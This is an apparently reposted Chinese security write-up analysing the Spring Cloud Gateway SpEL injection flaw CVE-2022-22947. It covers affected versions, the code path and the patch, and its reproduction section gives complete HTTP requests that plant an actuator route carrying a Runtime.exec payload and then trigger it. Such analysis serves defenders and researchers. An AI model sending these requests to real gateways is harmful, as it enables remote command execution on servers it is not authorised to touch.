Spring Cloud Gateway 远程代码执行漏洞分析(CVE-2022-22947)
2022-4-15 10:40:48 Author: www.freebuf.com(查看原文) 阅读量:21 收藏

0x01 影响范围

  • Spring Cloud Gateway < 3.1.1

  • Spring Cloud Gateway < 3.0.7

0x02 SpEL表达式简介

Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。

它有多种方式去执行命令,这里写简单的一种利用,通过调用静态方法实现命令执行、T中为全类名

SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
spelExpressionParser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open -na Calculator\")").getValue();

0x03 环境搭建:

github下载源码,我下载的是3.0.6版本。

项目地址:https://github.com/spring-cloud/spring-cloud-gateway

项目中有sample项目,可以导入IDEA直接启动。

0x04 漏洞分析:

首先观察项目结构,项目中最主要的是server包中的内容。

在项目中搜索SpEL表达式的特征点,由图中可以看到在getValue()中会执行SpEL表达式,表达式为表达式模版类型,特征点为#{},接下来需要找entryValue是否可控。

在同一个类中的normalize方法中就会调用getValue,参数为args

normalizeProperties中调用了normalize,并将properties传入,properties就是要解析执行的SpEL表达式,而properties又在properties()中赋值,接下来就是找哪里调用了properties(),只要能够设置这个值为想要的值,下次访问触发就可以执行对应的表达式。

filterpredicate的加载中找到了设置值的地方。

中间还有一些调用这里就不写了,两个函数最终都是getRoutes触发,执行SpEL表达式也会在getRoutes中调用。

到这里就大概知道如何利用漏洞了,通过添加filter或者predicate让对应的properties赋值,然后再访问获取路由从而触发SpEL表达式的解析执行,最终触发漏洞。其实在进行添加的过程中就会进行表达式的解析,因为操作都在getRoutes中,但是如果要获取命令执行的结果的话就需要获取具体的执行结果,需要返回对应的路由详情查看。

参考Spring Cloud Gateway官方文档,获取程序执行流程、添加路由、获取路由的方法等。

执行流程中写明了访问路由时就会调用调用过滤器,和上面我们分析到的相同,只是发现在查询路由的时候predicates也会进行SpEL表达式解析执行。

官方文档中也写明了路由的添加、查看与刷新操作,具体的操作内容请移步到官方文档查看。

再回到代码中,查看添加路由的代码,将POST请求的route信息传入Mono形成Mono对象,这个之前不太了解,简单来讲就是将数据存储到这个序列,并执行了一些添加路由的操作,但是发现没有之前分析的添加propertiesgetRoutes方法,因此这里只是进行了存储,并没有将路由信息真正的进行添加。

而在refresh操作中,通过动态调试发现会执行到getRoute方法,而这个方法之前也说了会进行设置filterpredicate的操作,同时也会进行解析对应的value值,执行对应的payload,只是不返回结果。

如果要获取命令执行结果,可以直接检索所有的路由,使用GET请求进行访问。

综上所述,获取命令执行结果的步骤为

1、POST请求添加路由,payload放在filter或者predicate中都可以

2、POST请求刷新路由,将路由进行添加,同时也会执行命令

3、GET方法检索所有路由,返回命令执行结果(前提是可回显的payload)

0x05 漏洞复现:

1、添加路由,设置filter

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

也可以设置predicate

{
"id": "hacktest",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com"
}

2、刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3、检索路由,得到命令执行结果,可以检索指定路由,也可以检索全部路由,当检索指定路由报错时可以检索全部内容获取,路径为:/actuator/gateway/routes。

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

0x06 补丁分析:

查看github提交记录

https://github.com/spring-cloud/spring-cloud-gateway/commit/25fb7475a766345928a86652f0d56b771018b483

发现默认了禁用网关执行器。

原来的注解中默认开启网关执行器,当关闭了网关执行器后便不会执行SpEL表达式了。

中间可能跳过了一些细节的内容,分析有误的地方请大佬及时指出~

参考内容:


文章来源: https://www.freebuf.com/articles/web/328282.html
如有侵权请联系:admin#unsafe.sh